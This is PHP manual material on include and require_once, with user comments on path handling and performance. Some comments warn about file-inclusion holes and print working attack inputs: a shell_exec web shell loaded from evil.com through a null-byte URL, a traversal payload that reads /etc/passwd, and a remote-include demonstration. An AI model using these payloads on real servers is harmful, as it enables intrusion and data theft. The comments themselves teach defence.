If you use relativ paths in a php script (file A) that can be required by another php script (file B), be aware that the relativ paths in file A will be relativ to the directory, where file B is stored.
You can use the following syntax in file A, to be sure that the paths are relativ to the directory of file A:

<?
require(dirname(__FILE__)."/path/relative/file_to_include.php");
?>

Greetings,
Richard
10-Feb-2005 10:29
Note when calling any require or include function, that the call will block if the script given as the parameter is excecuting.
Because of this one should be careful when using blocking functions like sleep() in a script which is included by another.
danielm at unb dot br 21-Nov-2004 11:50
if you want to include files with an absolut path reference, you can use:

require ($_SERVER["DOCUMENT_ROOT"]."/path/to/file.php");

this way you can organize your files in subdirectories trees.


include

(PHP 4, PHP 5, PHP 7, PHP 8)

include 式は指定されたファイルを読み込み、評価します。

以下の記述内容は require にも当てはまります。

ファイルのインクルードは、指定されたパスから行います。パスを指定しない場合は、 include_path の設定を利用します。 ファイルが include_path に見つからないときは、include は呼び出し元スクリプトのディレクトリと現在の作業ディレクトリも探します。 include は、ファイルを見つけられない場合に E_WARNING を発行します。一方 require の場合は、同じ場合に E_ERROR を発行する点が異なります。

include と require は、 ファイルがアクセスできない場合、 最終的に E_WARNING や E_ERROR を発生させる前に、 追加の E_WARNING を発生させることに注意して下さい。

パスを指定した場合 — 絶対パス (Windows ならドライブレターあるいは \ で始まるパス、Unix/Linux 系なら / で始まるパス) あるいはカレントディレクトリからの相対パス (. あるいは .. で始まるパス) のどちらでも — は include_path は無視されます。たとえば ../ ではじまるファイル名を指定した場合は、 親ディレクトリからそのファイルを探します。

PHP でのファイルのインクルードやインクルードパスについての詳細は include_path のドキュメントを参照ください。

ファイルが読み込まれるとそのファイルに含まれるコードは、 includeもしくはrequireが実行された 行の変数スコープを継承します。 呼び出し側の行で利用可能である全ての変数は、読み込まれたファイル内で利用可能です。 しかし、読み込まれたファイル内で定義されている関数やクラスはすべて グローバルスコープとなります。

例1 基本的な include の例

vars.php
<?php

$color = 'green';
$fruit = 'apple';

?>

test.php
<?php

echo "A $color $fruit"; // A

include 'vars.php';

echo "A $color $fruit"; // A green apple

?>

呼び出し側のファイルの関数定義の中で読み込みが行われた場合は、 読み込まれるファイルに含まれる全てのコードは、 その関数内で定義されているものとして動作します。 従って変数のスコープもその関数のものが継承されます。 ただ マジック定数 は例外で、これは読み込みを行う前にパーサが評価します。

例2 関数内での読み込み

<?php

function foo()
{
    global $color;

    include 'vars.php';

    echo "A $color $fruit";
}

/* vars.php は foo() のスコープを継承するため *
* $fruit はこの関数の外では無効となります。  *
* $color はglobalとして宣言されているため    *
* 有効です。                                 */

foo();                    // A green apple
echo "A $color $fruit";   // A green

?>

ファイルが読み込まれるときには、読み込まれるファイルの先頭で PHPモードを抜けてHTMLモードになり、最後に再びPHPモードに戻ります。 このため、読み込むファイル中のPHPコードとして実行する必要がある コードは、 有効なPHPの開始タグおよび終了タグで括る必要があります。

"URL include ラッパー"が 有効になっている場合、ローカルなパス名 の代わりにURL(HTTP経由)を用いて読み込むファイルを指定することが可能です。 URLで指定されたサーバーがファイルをPHPコードとして解釈することが 出来る場合には、HTTP GETを使用してURLリクエストに引数を指定することが 出来ます。これはファイルの読み込み云々やスコープの継承とは関係なく、 ただ単純にスクリプトがリモートのサーバーで実行されて結果がローカルの スクリプトに読み込まれる、というだけのことです。

例3 HTTP経由の include

<?php

/* この例は www.example.com が.phpはPHPスクリプトとして扱い、.txtは通常の *
 * ファイルとして扱うように設定されていると仮定しています。また、ここでの *
 * '動作します'という言葉の意味は、変数$fooと$barが読み込まれる側のファイ *
 * ルで使用可能である、ということです。                                   */

// 動作しません: www.example.com では file.txt はPHPコードとして解釈されません。
include 'http://www.example.com/file.txt?foo=1&bar=2';

// 動作しません: 'file.php?foo=1&bar=2' という名前のファイルをローカルファイル
// システム上から探し出そうとします。
include 'file.php?foo=1&bar=2';

// 動作します。
include 'http://www.example.com/file.php?foo=1&bar=2';
?>

警告

セキュリティの警告

リモートファイルはリモートサーバー上で実行されます（ファイルの拡張子や リモートサーバーが PHP の実行を許可しているかどうかに依存します）が、 有効な PHP スクリプトである必要があります。なぜならそれはローカル サーバー上で処理されるからです。もしリモートサーバー上で処理された結果が ほしいだけならば、readfile() を使用するほうがよい でしょう。そうでなければ、リモートスクリプトが有効な期待通りのコードを 生成していることを確認するため、注意を払うことが必要になります。

リモートファイル, fopen(), file()も参照してください。

値の返し方: include に失敗したときには FALSE を返し、警告を発生させます。 成功した場合の返り値は、インクルードしたファイル側で変更していない限りは 1 です。 インクルードしたファイルの中で return を実行すれば、 そのファイルの処理をそこで止めて呼び出し元に処理を戻せます。 読み込まれたファイルから値を返すことも可能です。 通常の関数で行うのと同様にincludeコールの値を取得することができます。 しかし、読み込まれたリモートファイル(ローカルファイルの場合も同様)の出力が、 有効なPHPの開始／ 終了タグを有していない限り、リモートファイルを読み込む際に値を 取得することはできません。 必要な変数をこれらのタグの中で宣言することができ、これらの変数は ファイルが読み込まれた位置で使用可能となります。

include は特別な言語構造であるため、 引数の前後に括弧は不要です。 返り値を比較する際には注意してください。

例4 インクルードの戻り値を比較する

<?php
// 動作しません。include(('vars.php') == TRUE) つまり、include('1') と評価されます
if (include('vars.php') == TRUE) {
    echo 'OK';
}

// 動作します。
if ((include 'vars.php') == TRUE) {
    echo 'OK';
}
?>

例5 include と return 文

return.php
<?php

$var = 'PHP';

return $var;

?>

noreturn.php
<?php

$var = 'PHP';

?>

testreturns.php
<?php

$foo = include 'return.php';

echo $foo; // 'PHP'と出力されます

$bar = include 'noreturn.php';

echo $bar; // 1が出力されます

?>

読み込みが成功すると$barの値は1となります。上の2つの例の違いに 注目してください。最初の例では読み込まれるファイル側で return を使用し、もう一方では使用していません。 ファイルが読み込めなかった場合、false が返され、 E_WARNING が発生します。

読み込まれるファイルで定義された関数がある場合、 これらは、return の前後によらず メインファイルで使用できます。 このファイルが二度読み込まれた場合、関数が定義済みであるため 致命的なエラーが発生します。 ファイルが読み込み済みであるかどうかを調べ、 読み込まれるファイルの内容を条件分岐で返すかわりに include_once を使用することを推奨します。

PHP ファイルの内容を変数に "include する" もうひとつの方法は、 出力制御関数 を include とともに用いて 出力をキャプチャすることです。たとえば、

例6 出力バッファリングを用い、 PHP ファイルの内容を文字列として読み込む

<?php
$string = get_include_contents('somefile.php');

function get_include_contents($filename) {
    if (is_file($filename)) {
        ob_start();
        include $filename;
        return ob_get_clean();
    }
    return false;
}

?>

スクリプト中で自動的にファイルをインクルードするには、php.ini の auto_prepend_file および auto_append_file オプションも参照ください。

注意: これは、関数ではなく 言語構造のため、可変関数 を用いて コールすることはできません。

require, require_once, include_once, get_included_files(), readfile(), virtual() および include_path も参照ください。

User Contributed Notes

jbezorg at gmail dot com 26-Apr-2018 02:34
Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.

( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );
ayon at hyurl dot com 03-Apr-2017 06:24
It is also able to include or open a file from a zip file:
<?php
include "something.zip#script.php";
echo file_get_contents("something.zip#script.php");
?>
Note that instead of using / or \, open a file from a zip file uses # to separate zip name and inner file's name.
John Carty 20-Oct-2016 08:29
Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).

As example #3 points out, it is possible to include a php file from a remote server.

The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation.  Suppose you have an example.php with code:

<?php
// Bad Code
$path = $_GET['path'];
include $path . 'example-config-file.php';
?>

As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability.  To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

evil.txt
<?php echo shell_exec($_GET['command']);?>

It is a text file so it would not be processed on my server but on the target/victim server.  I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable.  In this case, it is whoami.  I ended the path variable with a %00, which is the null character.  The original include statement in the example.php would ignore the rest of the line.  It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.
error17191 at gmail dot com 01-Oct-2015 09:39
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test

dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test

script.php contains the following code:
<?php

echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'Changing current working directory to dir2';
chdir('../dir2');
echo '<br />';
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'including "dir2_test" ...';
echo '<br />';
include 'dir2_test';
echo '<br />';
echo 'including "dir1_test" ...';
echo '<br />';
include 'dir1_test';
echo '<br />';
echo 'including "./dir1_test" ...';
echo '<br />';
(@include './dir1_test') or die('couldn\'t include this file ');
?>
The output of executing script.php is :

Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file
Jero Minh 01-Apr-2015 10:55
Notice that using @include (instead of include without @) will set the local value of error_reporting to 0 inside the included script.

Consider the following:
<?php
    ini_set('error_reporting', E_ALL);

    echo "Own value before: ";
    echo ini_get('error_reporting');
    echo "\r\n";

    echo "include foo.php: ";
    include('foo.php');

    echo "@include foo.php: ";
    @include('foo.php');

    echo "Own value now: " . ini_get('error_reporting');
?>

foo.php
<?php
    echo ini_get('error_reporting') . "\r\n";
?>

Output:
    Own value before: 32767
    include foo.php: 32767
    @include foo.php: 0
    Own value now: 32767
Rash 17-Jan-2015 05:55
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:

<?php

# index.php
define('what', 'ever');
include 'includeFile.php';

# includeFile.php

// check if what is defined and die if not

?>

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

<?php

# index.php (in document root (/usr/share/nginx/html))

include __DIR__ . '/../src/includeFile.php';

?>

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.
Ray.Paseur often uses Gmail 30-Sep-2014 11:05
It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR.  If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows.  (In a semi-related way, there is a smart end-of-line character, PHP_EOL)

Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once($cfg_path);
abanarn at gmail dot com 11-Jul-2014 02:56
To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is "\e" was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:

Test script:
-------------
<?php
require("C:\element\scripts\include.php");
?>

In php 5.3.* to php 5.4.3
----------------------------
If you use require("C:\element\scripts\include.php")  it will work fine.

If php 5.4.4 + It will break.
------------------------------
Warning: require(C:←lement\scripts\include.php): failed to open stream: In
valid argument in C:\element\scripts\include.php on line 20

Fatal error: require(): Failed opening required 'C:←lement\scripts\include.php

Solution:
-----------
Theoretically, you should be always using "\\" instead of "\" when you write php in windows machine OR use "/" like in Linux and you should fine since "\" is an escape character in most programming languages.
If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).

I hope this makes sense and I hope it will someone sometime down the road.
cheers,
Anon 26-Feb-2012 06:31
I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.
sPlayer 02-Mar-2011 09:09
Sometimes it will be usefull to include a string as a filename

<?php

//get content
$cFile = file_get_contents('crypted.file');
//decrypt the content
$content = decrypte($cFile);

//include this
include("data://text/plain;base64,".base64_encode($content));
//or
include("data://text/plain,".urlencode($content));
?>
joe dot naylor at gmail dot com 22-Oct-2010 02:11
Be very careful with including files based on user inputed data.  For instance, consider this code sample:

index.php:
<?php
$page = $_GET['page'];
if (file_exists('pages/'.$page.'.php'))
{
   include('pages/'.$page.'.php');
}
?>

Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it.  Better yet, know exactly what options you can accept and accept only those options.
Chris Bell 12-Nov-2009 05:12
A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
hyponiq at gmail dot com 02-Nov-2009 02:12
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot = null;

if (isset($_SERVER['DOCUMENT_ROOT'])) {
    $documentRoot = $_SERVER['DOCUMENT_ROOT'];

    if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
        if (strstr($documentRoot, '/')) {
            $documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (strstr($documentRoot, '\\')) {
            $documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
        }
    }

    if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
        $documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
        $documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
    }
}
else {
    /**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     *
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     *
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
    $directories = array(
        'Includes'
    );

    if (defined('__DIR__')) {
        $currentDirectory = __DIR__;
    }
    else {
        $currentDirectory = dirname(__FILE__);
    }

    $currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
    $currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;

    foreach ($directories as $directory) {
        $currentDirectory = str_replace(
            DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
            DIRECTORY_SEPARATOR,
            $currentDirectory
        );
    }

    $currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}

define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
snowyurik at gmail dot com 05-Nov-2008 10:49
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
Wade. 22-Oct-2008 08:20
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Wade.
example at user dot com 21-Sep-2008 09:33
Just about any file type can be 'included' or 'required'.  By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.

You can also embed text in the output, like in the example below.  But an image is still an image to the client's machine.  The client must open the downloaded file as plain/text to see what you embedded.

<?php

header('Content-type: image/jpeg');
header('Content-Disposition: inline;');

include '/some_image.jpg';
echo 'This file was provided by example@user.com.';

?>

Which brings us to a major security issue.  Scripts can be hidden within images or files using this method.  For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts.  NEVER 'include' anything that you found on the web or that users upload or can alter in any way.  Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"
Rick Garcia 08-May-2008 09:38
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
uramihsayibok, gmail, com 24-Feb-2008 05:28
I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.

Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?php

function include_all_once ($pattern) {
    foreach (glob($pattern) as $file) { // remember the { and } are necessary!
        include $file;
    }
}

// used like
include_all_once('dir/*.php');

?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.
mbread at m-bread dot com 10-Feb-2007 09:23
If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:

1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
durkboek A_T hotmail D_O_T com 03-Jun-2004 04:09
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>\n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.
james at gogo dot co dot nz 09-Dec-2003 10:03
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
  function &x(&$y)
  {
    return include(dirname(__FILE__) . '/2.php');
  }

  $z = "FOO\n";
  $z2 = &x($z);

  echo $z2;
  $z  = "NOO\n";

  echo $z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/


require_once

(PHP 4, PHP 5, PHP 7, PHP 8)

require_once 式は require とほぼ同じ意味ですが、 ファイルがすでに読み込まれているかどうかを PHP がチェックするという点が異なります。 すでに読み込まれている場合はそのファイルを読み込みません。

_once の振る舞い、およびそれが _once なし版とどのように異なるのかについての情報は、 include_once のドキュメントを参照ください。

User Contributed Notes

Mental_Wanderer 27-Jun-2018 08:31
Friendly reminder about namespaces...
Including or requiring a PHP file that defines as namespace means that the namespace name (or its "use ... as ..." alias) is always necessary to make use of the included file's content:

// A.php

<?php namespace A_NAMESPACE;

   function foo()
   {
      // What foo does...
   }
?>

// B.php

<?php
   require_once( 'A.php' );
   use \A_NAMESPACE as common;

   common\foo(); // Does that foo thing...

   foo();  // Fatal Error...
?>
apis17 11-Nov-2017 03:29
require_once may not work correctly inside repetitive function when storing variable for example:

file: var.php
<?php
$foo = 'bar';
?>

file: check.php
<?php

function foo(){
    require_once('var.php');
    return $foo;
}

for($a=1;$a<=5;$a++){
    echo foo()."<br>";
}

> php check.php
result:
bar
<empty line>
<empty line>
<empty line>
<empty line>

to make sure variable bar available at each function call, replace require once with require. eg situation: https://stackoverflow.com/questions/29898199/variables-not-defined-inside-function-on-second-time-at-foreach

Solution:

file: check2.php
<?php

function foo(){
    require('var.php');
    return $foo;
}

for($a=1;$a<=5;$a++){
    echo foo()."<br>";
}

> php check2.php
result:
bar
bar
bar
bar
bar
powtac at gmx dot de 02-Sep-2015 01:36
"require_once" and "require" are language constructs and not functions. Therefore they should be written without "()" brackets!
inci szlk 22-May-2015 04:32
you can also use this type define to get exact path of root directory. So, it won't mess if the file is in whatever directory in whatever directory.

if (!defined("DOCUMENT_ROOT")) define("DOCUMENT_ROOT", $_SERVER['DOCUMENT_ROOT']);

require_once DOCUMENT_ROOT.'/hello/world.php';
Dodo 28-Jun-2014 10:41
If you happen to encounter some "Warning: require_once(): failed to open stream" and you are certain the provided path is right, consider the following example & solution.

Considering the following tree:
+ C:\server\absolute\path\
    + somefolder\
        - index.php
    + supbath
        + anotherfolder1\
            - file1.php
            - file2.php
        + anotherfolder2\
            - file3.php

With the respective sources:
original index.php:
<?php

    // absolute path
    // inclusion status: SUCCESS
    require_once 'C:\server\absolute\path\subpath\anotherfolder1\file1.php';

?>

original file1.php:
<?php

    // relative path
    // inclusion status: SUCCESS
    require_once 'file2.php';

    // relative path
    // inclusion status: FAILURE
    require_once '../anotherfolder2/file3.php';

?>

You will notice the use of "\" as DIRECTORY_SEPARATOR, but the same result is obtained using "/".
Assumption ? PHP does not behave as it should if it encounters a relative path starting by a '../'. Well, this is not true.

Below is a modified file1.php:
<?php

    // absolute path
    // inclusion status: SUCCESS
    require_once '/file2.php';

    // absolute path
    // inclusion status: SUCCESS
    require_once '/../anotherfolder2/file3.php';

?>

It seems that PHP recognizes a non-prefixed file name as an absolute path in a require_once, and that it computes this absolute path from a relative context.

I am not sure this is the expected behaviour, but it was quite hard to figure out. Also, if you want to recognize those special cases where you had to specify a relative path starting with a "/", you can use the following trick.

<?php

    // it goes down one level, and then goes up one level : the result is neutral, but after prefixing your paths with this, PHP handles them
    define ('REQUIRE_TRICK', '/TRICK/../');

    require_once REQUIRE_TRICK . 'file2.php';
    require_once REQUIRE_TRICK . '../anotherfolder2/file3.php';

?>

If this ever gets reworked/fixed, it will be easy to remove the define.
acholoc at gmail dot com 04-Jan-2014 09:43
I think it's important (at least for beginners) to mention somewhere clearly visible that require_once, when being used in a class, cannot be outside a function. (I am aware that even this, i.e. using it within the function is bad practice). However, that information could have saved me some valuable time troubleshooting the "unexpected T_REQUIRE_ONCE" error.
bimal at sanjaal dot com 04-Jun-2011 11:46
If your code is running on multiple servers with different environments (locations from where your scripts run) the following idea may be useful to you:

a. Do not give absolute path to include files on your server.
b. Dynamically calculate the full path (absolute path)

Hints:
Use a combination of dirname(__FILE__) and subsequent calls to itself until you reach to the home of your '/index.php'. Then, attach this variable (that contains the path) to your included files.

One of my typical example is:

<?php
define('__ROOT__', dirname(dirname(__FILE__)));
require_once(__ROOT__.'/config.php');
?>

instead of:
<?php require_once('/var/www/public_html/config.php'); ?>

After this, if you copy paste your codes to another servers, it will still run, without requiring any further re-configurations.

[EDIT BY danbrown AT php DOT net: Contains a typofix (missing ')') provided by 'JoeB' on 09-JUN-2011.]
spark at limao dot com dot br 14-Apr-2011 07:31
if you use require_once on a file A pointing to file B, and require_once in the file B pointing to file A, in some configurations you will get stuck

also wouldn't it be nice to manage that to prevent getting stuck AND use the good old Java import?

<?php
       function import($path=""){
               if($path == ""){ //no parameter returns the file import info tree;
                       $report = $_SESSION['imports'];
                       foreach($report as &$item) $item = array_flip($item);
                       return $report;
               }

               $current = str_replace("\\","/",getcwd())."/";
               $path = $current.str_replace(".","/",$path);
               if(substr($path,-1) != "*") $path .= ".class.php";

               $imports = &$_SESSION['imports'];
               if(!is_array($imports)) $imports = array();

               $control = &$imports[$_SERVER['SCRIPT_FILENAME']];
               if(!is_array($control)) $control = array();

               foreach(glob($path) as $file){
                       $file = str_replace($current,"",$file);
                       if(is_dir($file)) import($file.".*");
                       if(substr($file,-10) != ".class.php") continue;
                       if($control[$file]) continue;
                       $control[$file] = count($control);
                       require_once($file);
               }
       }
?>

just remember to start the session and to enable the glob function

now you can use
<?php
    import("package.ClassName");
    import("another.package.*"); //this will import everything in the folder
?>
info at erpplaza dot com 05-Oct-2010 12:10
Include all files from a particular directory

<?php
foreach (glob("classes/*.php") as $filename)
{
    include $filename;
}
?>

ERPPlaza
jason semko at gmail dot com 16-Jul-2010 01:33
If you are coding on localhost and require_once is not opening files due to 'relative paths' a simple solution is:

<?php

      require_once(dirname(__FILE__) . "/file.php");

?>

If you have file.php under the folder 'includes' (or anywhere for that matter), then folder 'public' AND folder 'public/admin' will be able to access all required files despite having different relative paths.
ivan[DOT_NO_SPAM]chepurnyi[AT]gmail 08-Sep-2009 06:42
Also if you have a large MVC framework, it make sense to compile  structure "file/path/to/class.php" to something like this "file_path_to_class.php", it will speed up any type of php files includes, becouse php interpreter will not check FS stat data for directories "file", "file/path", "file/path/to", etc.
Konstantin Rozinov (krozinov[at]gmail) 01-Apr-2009 04:58
There's been a lot of discussion about the speed differences between using require_once() vs. require().
I was curious myself, so I ran some tests to see what's faster:
 - require_once() vs require()
 - using relative_path vs absolute_path

I also included results from strace for the number of stat() system calls.  My results and conclusions below.

METHODOLOGY:
------------
The script (test.php):
<?php
 $start_time = microtime(true);

 /*
  * Uncomment one at a time and run test below.
  * sql_servers.inc only contains define() statements.
  */

 //require ('/www/includes/example.com/code/conf/sql_servers.inc');
 //require ('../../includes/example.com/code/conf/sql_servers.inc');
 //require_once ('/www/includes/example.com/code/conf/sql_servers.inc');
 //require_once ('../../includes/example.com/code/conf/sql_servers.inc');

 $end_time = microtime(true);

 $handle = fopen("/tmp/results", "ab+");
 fwrite($handle, ($end_time - $start_time) . "\n");
 fclose($handle);
?>

The test:
  I ran ab on the test.php script with a different require*() uncommented each time:
  ab -n 1000 -c 10 www.example.com/test.php

RESULTS:
--------
The average time it took to run test.php once:
require('absolute_path'):      0.000830569960420
require('relative_path'):      0.000829198306664
require_once('absolute_path'): 0.000832904849136
require_once('relative_path'): 0.000824960252097

The average was computed by eliminating the 100 slowest and 100 fastest times, so a total of 800 (1000 - 200) times were used to compute the average time.  This was done to eliminate any unusual spikes or dips.

The question of how many stat() system calls were made can be answered as follows:
- If you run httpd -X and then do an strace -p <pid_of_httpd>, you can view the system calls that take place to process the request.
- The most important thing to note is if you run test.php continuously (as the ab test does above), the stat() calls only happen for the first request:

  first call to test.php (above):
  -------------------------------
  lstat64 ("/www", {st_mode=S_IFDIR|0755, st_size=...
  lstat64 ("/www/includes", {st_mode=S_IFDIR|0755,...
  lstat64 ("/www/includes/example.com", {st_mode=S...
  lstat64 ("/www/includes/example.com/code", {st_m...
  lstat64 ("/www/includes/example.com/code/conf", ...
  lstat64 ("/www/includes/example.com/code/conf/sql_servers.inc", {st_mode...
  open ("/www/includes/example.com/code/conf/sql_servers.inc", O_RDONLY) = 17

  subsequent calls to test.php:
  -----------------------------
  open ("/www/includes/example.com/code/conf/sql_servers.inc", O_RDONLY) = 17

- The lack of stat() system calls in the subsequent calls to test.php only happens when test.php is called continusly.  If you wait a certain period of time (about 1 minute or so), the stat() calls will happen again.
- This indicates that either the OS (Ubuntu Linux in my case), or Apache is "caching" or knows the results of the previous stat() calls, so it doesn't bother repeating them.
- When using absolute_path there are fewer stat() system calls.
- When using relative_path there are more stat() system calls because it has to start stat()ing from the current directory back up to / and then to the include/ directory.

CONCLUSIONS:
------------
- Try to use absolute_path when calling require*().
- The time difference between require_once() vs. require() is so tiny, it's almost always insignificant in terms of performance.  The one exception is if you have a very large application that has hundreds of require*() calls.
- When using APC opcode caching, the speed difference between the two is completely irrelevant.
- Use an opcode cache, like APC!

Konstantin Rozinov
krozinov [at] gmail
amcewen at look dot ca 11-Feb-2008 07:00
